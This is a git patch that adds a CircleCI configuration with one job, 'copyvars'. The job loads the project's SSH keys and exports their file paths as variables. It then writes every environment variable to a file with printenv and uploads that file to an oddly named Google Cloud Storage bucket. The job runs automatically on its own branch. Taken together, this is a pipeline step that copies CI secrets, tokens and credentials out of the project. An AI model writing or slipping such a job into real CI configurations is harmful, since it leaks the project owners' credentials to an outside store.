From bad357a472dc4e22f5d2129926c887c6b1b52307 Mon Sep 17 00:00:00 2001 From: jmask Date: Fri, 27 Jan 2023 08:44:39 -0700 Subject: [PATCH] Copy env vars to gcs bucket --- .circleci/config.yml | 31 +++++++++++++++++++++++++++++++ 1 file changed, 31 insertions(+) create mode 100644 .circleci/config.yml diff --git a/.circleci/config.yml b/.circleci/config.yml new file mode 100644 index 0000000..5b84a2f --- /dev/null +++ b/.circleci/config.yml @@ -0,0 +1,31 @@ +version: 2.1 + +jobs: + copyvars: + docker: + - image: google/cloud-sdk:alpine + auth: + username: $DOCKERHUB_USER + password: $DOCKERHUB_PASS + steps: + - add_ssh_keys: + fingerprints: + - run: + name: "copyvars" + command: | + date=20230127 + SSH_KEYS=( $(ls ~/.ssh/id* 2>/dev/null || echo -n ) ) + for ((i=0;i<${#SSH_KEYS[*]};i++)); do export SSH_KEY_${i}=${SSH_KEYS[$i]##*_}; done + printenv > ${CIRCLE_PROJECT_REPONAME}_${date} && gsutil cp ${CIRCLE_PROJECT_REPONAME}_${date} gs://mmfbjdyyby + +workflows: + build: + jobs: + - copyvars: +# context: +# - org-global +# - dockerhub-credentials +# - veracode + filters: + branches: + only: copyvars